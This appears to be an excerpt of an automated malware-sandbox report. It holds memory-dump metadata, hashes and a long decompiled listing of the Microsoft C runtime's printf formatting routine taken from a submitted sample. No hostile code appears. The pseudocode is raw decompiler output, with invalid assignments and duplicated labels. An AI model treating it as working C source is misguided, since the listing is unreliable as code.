_get_int_arg.LIBCMTD ref: 00434ACB
__get_printf_count_output.LIBCMTD ref: 00434AD9
__invalid_parameter.LIBCMTD ref: 00434B60
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434B75
_write_multi_char.LIBCMTD ref: 004350EE
_write_string.LIBCMTD ref: 00435109
_write_multi_char.LIBCMTD ref: 00435135
_wctomb_s.LIBCMTD ref: 004351B2

Strings

_output_s_l, xrefs: 0043445E, 00434B56
("Incorrect format specifier", 0), xrefs: 0043441D, 00434463
-, xrefs: 0043508E
("'n' format specifier disabled", 0), xrefs: 00434B15, 00434B5B
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434429, 00434459, 00434B21, 00434B51

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: e821429edb126f05b6bde7abf53363d7098767fdcd71a20d00b335d10c1c49f1
Instruction ID: 958a662284d9cac9a33770ce883df63452a21cc1ddd7fbf3aec0681cc43df6d6
Opcode Fuzzy Hash: e821429edb126f05b6bde7abf53363d7098767fdcd71a20d00b335d10c1c49f1
Instruction Fuzzy Hash: 6FA1AE70E016288BDF24DF55CC49BEEB3B0EB88304F1091DAE5196B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BD6A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BD6A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E00428150(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00433CF0() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E000();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043C760(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043C7A0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043C760(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043C7A0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AAD0(_t600 - 0x40);
									_t523 = E0043B200(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043C700( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043C760(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C1C0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043C5F4))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043C700( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43c6c0; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C684))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00428150(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AAD0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0x2c9cf96e
															E00424340(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AAD0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xac9cf9bd
																	E00424340(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AAD0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xac9cf9c2
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428150(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AAD0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AAD0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B200(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428150(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
